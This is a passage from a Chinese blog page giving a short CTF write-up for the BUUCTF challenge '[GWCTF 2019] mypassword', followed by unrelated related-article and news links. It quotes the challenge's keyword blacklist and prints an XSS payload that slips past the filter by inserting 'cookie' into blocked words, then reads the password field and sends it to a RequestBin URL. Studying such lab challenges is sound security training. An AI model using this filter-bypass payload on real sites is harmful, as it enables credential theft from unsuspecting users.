当前位置: 首页 > news >正文

145,【5】 buuctf web [GWCTF 2019]mypassword

进入靶场

   

修改了url后才到了注册页面

注测后再登录

查看源码

都点进去看看

 有个反馈页面

再查看源码

 又有收获

// 检查$feedback是否为数组
if (is_array($feedback)) {
    // 如果是数组,弹出提示框提示反馈不合法
    echo "<script>alert('反馈不合法');</script>";
    // 返回false,表示反馈不符合要求
    return false;
}
// 定义一个黑名单数组,包含一些不允许在反馈中出现的关键字和特殊字符
$blacklist = ['_', '\'', '&', '\\', '#', '%', 'input','script', 'iframe', 'host', 'onload', 'onerror','srcdoc', 'location','svg', 'form', 'img','src', 'getElement', 'document', 'cookie'];
// 遍历黑名单数组
foreach ($blacklist as $val) {
    // 进入循环,不断检查和替换
    while (true) {
        // 不区分大小写地检查$feedback中是否包含当前黑名单中的值
        if (stripos($feedback, $val)!== false) {
            // 如果包含,不区分大小写地将其从$feedback中替换为空字符串
            $feedback = str_ireplace($val, "", $feedback);
        } else {
            // 如果不包含,跳出当前循环
            break;
        }
    }
}

用到下面网站

RequestBin — Collect, inspect and debug HTTP requests and webhooks

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1a5ujib1/?a="+psw;
</scrcookieipt>

 最后在网站上可以得到flag

相关文章:

  • 分布式 NewSQL 数据库(TiDB)
  • 基于大数据的北京市天气数据分析系统的设计与实现
  • 【C++】31.C++11​(3)
  • ShenNiusModularity项目源码学习(8:数据库操作)
  • unity学习40:导入模型的 Animations文件夹内容,动画属性和修改动画文件
  • C# Task 学习记录
  • 3、树莓派5 安装VNC查看器 开启VNC服务器
  • linu软件编程——IO
  • 2月15日星期六今日早报简报微语报早读
  • React - 高阶函数-函数柯里化
  • 2015-2024年上市公司商道融绿esg评级数据
  • 寒假刷题Day24
  • Word正文中每两个字符之间插入一个英文半角空格
  • 服务器虚拟化(详解)
  • 枚举Enum用法
  • ros:ur机械臂初识
  • 基于STM32的智能垃圾分类回收系统
  • 【kafka系列】At Most Once语义
  • matlab-simulink
  • 鲸鱼算法优化Transformer+KAN网络并应用于时序预测任务
  • 保利42.41亿元竞得上海杨浦东外滩一地块,成交楼面单价超8万元
  • 乌克兰议会批准美乌矿产协议
  • 谜语的强制力:弗洛伊德与俄狄浦斯
  • 全国铁路五一假期累计发送1.51亿人次,多项运输指标创历史新高
  • 柳向春:关于美国国会图书馆所藏《全芳备祖》的一些故事
  • 五一档观众最满意《水饺皇后》